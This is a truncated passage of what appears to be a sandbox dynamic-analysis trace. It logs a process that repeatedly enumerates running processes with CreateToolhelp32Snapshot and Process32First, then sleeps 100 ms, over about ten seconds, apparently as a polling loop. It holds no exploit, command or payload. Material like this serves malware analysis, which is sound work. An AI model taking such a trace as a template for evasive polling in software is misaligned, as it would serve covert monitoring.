pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.126] Sleep (dwMilliseconds=0x64) [0222.137] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0222.232] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.301] Sleep (dwMilliseconds=0x64) [0222.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0222.318] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.442] Sleep (dwMilliseconds=0x64) [0222.447] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0222.462] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.735] Sleep (dwMilliseconds=0x64) [0222.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0222.755] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.911] Sleep (dwMilliseconds=0x64) [0222.925] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0222.948] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.101] Sleep (dwMilliseconds=0x64) [0223.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0223.132] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.282] Sleep (dwMilliseconds=0x64) [0223.283] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0223.312] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.428] Sleep (dwMilliseconds=0x64) [0223.429] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0223.446] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.563] Sleep (dwMilliseconds=0x64) [0223.578] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0223.592] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.712] Sleep (dwMilliseconds=0x64) [0223.715] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0223.736] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.913] Sleep (dwMilliseconds=0x64) [0223.915] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0223.932] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.061] Sleep (dwMilliseconds=0x64) [0224.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0224.082] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.203] Sleep (dwMilliseconds=0x64) [0224.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0224.226] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.306] Sleep (dwMilliseconds=0x64) [0224.307] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0224.322] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.397] Sleep (dwMilliseconds=0x64) [0224.398] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0224.412] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.497] Sleep (dwMilliseconds=0x64) [0224.508] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cf0 [0224.520] Process32First (in: hSnapshot=0x1cf0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.626] Sleep (dwMilliseconds=0x64) [0224.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0224.645] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.788] Sleep (dwMilliseconds=0x64) [0224.790] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0224.806] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.934] Sleep (dwMilliseconds=0x64) [0224.935] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0224.950] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.150] Sleep (dwMilliseconds=0x64) [0225.152] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0225.169] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.302] Sleep (dwMilliseconds=0x64) [0225.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0225.320] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.440] Sleep (dwMilliseconds=0x64) [0225.449] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0225.460] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.536] Sleep (dwMilliseconds=0x64) [0225.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0225.549] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.621] Sleep (dwMilliseconds=0x64) [0225.622] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0225.633] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.716] Sleep (dwMilliseconds=0x64) [0225.726] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0225.747] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.323] Sleep (dwMilliseconds=0x64) [0226.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0226.357] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.593] Sleep (dwMilliseconds=0x64) [0226.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0226.670] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.053] Sleep (dwMilliseconds=0x64) [0227.055] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0227.091] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.222] Sleep (dwMilliseconds=0x64) [0227.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0227.249] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.377] Sleep (dwMilliseconds=0x64) [0227.379] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0227.454] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.557] Sleep (dwMilliseconds=0x64) [0227.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0227.573] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.693] Sleep (dwMilliseconds=0x64) [0227.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0227.721] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.825] Sleep (dwMilliseconds=0x64) [0227.835] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0227.848] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.004] Sleep (dwMilliseconds=0x64) [0228.006] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0228.030] Process32First (in: hSnapshot=0x2184, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.104] Sleep (dwMilliseconds=0x64) [0228.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0228.253] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.338] Sleep (dwMilliseconds=0x64) [0228.390] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc8 [0228.432] Process32First (in: hSnapshot=0x1cc8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.505] Sleep (dwMilliseconds=0x64) [0228.515] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc8 [0228.529] Process32First (in: hSnapshot=0x1cc8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.690] Sleep (dwMilliseconds=0x64) [0228.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0228.709] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.866] Sleep (dwMilliseconds=0x64) [0228.885] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0228.909] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.100] Sleep (dwMilliseconds=0x64) [0229.120] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0229.147] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.274] Sleep (dwMilliseconds=0x64) [0229.276] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0229.293] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.387] Sleep (dwMilliseconds=0x64) [0229.398] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0229.433] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.573] Sleep (dwMilliseconds=0x64) [0229.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0229.599] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.707] Sleep (dwMilliseconds=0x64) [0229.709] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0229.769] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.878] Sleep (dwMilliseconds=0x64) [0229.888] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0229.902] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.030] Sleep (dwMilliseconds=0x64) [0230.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0230.052] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.133] Sleep (dwMilliseconds=0x64) [0230.142] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0230.154] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.222] Sleep (dwMilliseconds=0x64) [0230.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0230.237] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.349] Sleep (dwMilliseconds=0x64) [0230.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0230.367] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.473] Sleep (dwMilliseconds=0x64) [0230.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0230.489] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.583] Sleep (dwMilliseconds=0x64) [0230.593] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0230.606] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.692] Sleep (dwMilliseconds=0x64) [0230.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0230.707] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.786] Sleep (dwMilliseconds=0x64) [0230.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0230.846] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.026] Sleep (dwMilliseconds=0x64) [0231.043] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21f0 [0231.103] Process32First (in: hSnapshot=0x21f0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.182] Sleep (dwMilliseconds=0x64) [0231.193] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21a4 [0231.213] Process32First (in: hSnapshot=0x21a4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.302] Sleep (dwMilliseconds=0x64) [0231.310] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0231.327] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.427] Sleep (dwMilliseconds=0x64) [0231.439] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0231.457] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.579] Sleep (dwMilliseconds=0x64) [0231.581] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0231.596] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.721] Sleep (dwMilliseconds=0x64) [0231.725] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0231.737] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.876] Sleep (dwMilliseconds=0x64) [0231.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cbc [0231.895] Process32First (in: hSnapshot=0x1cbc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, 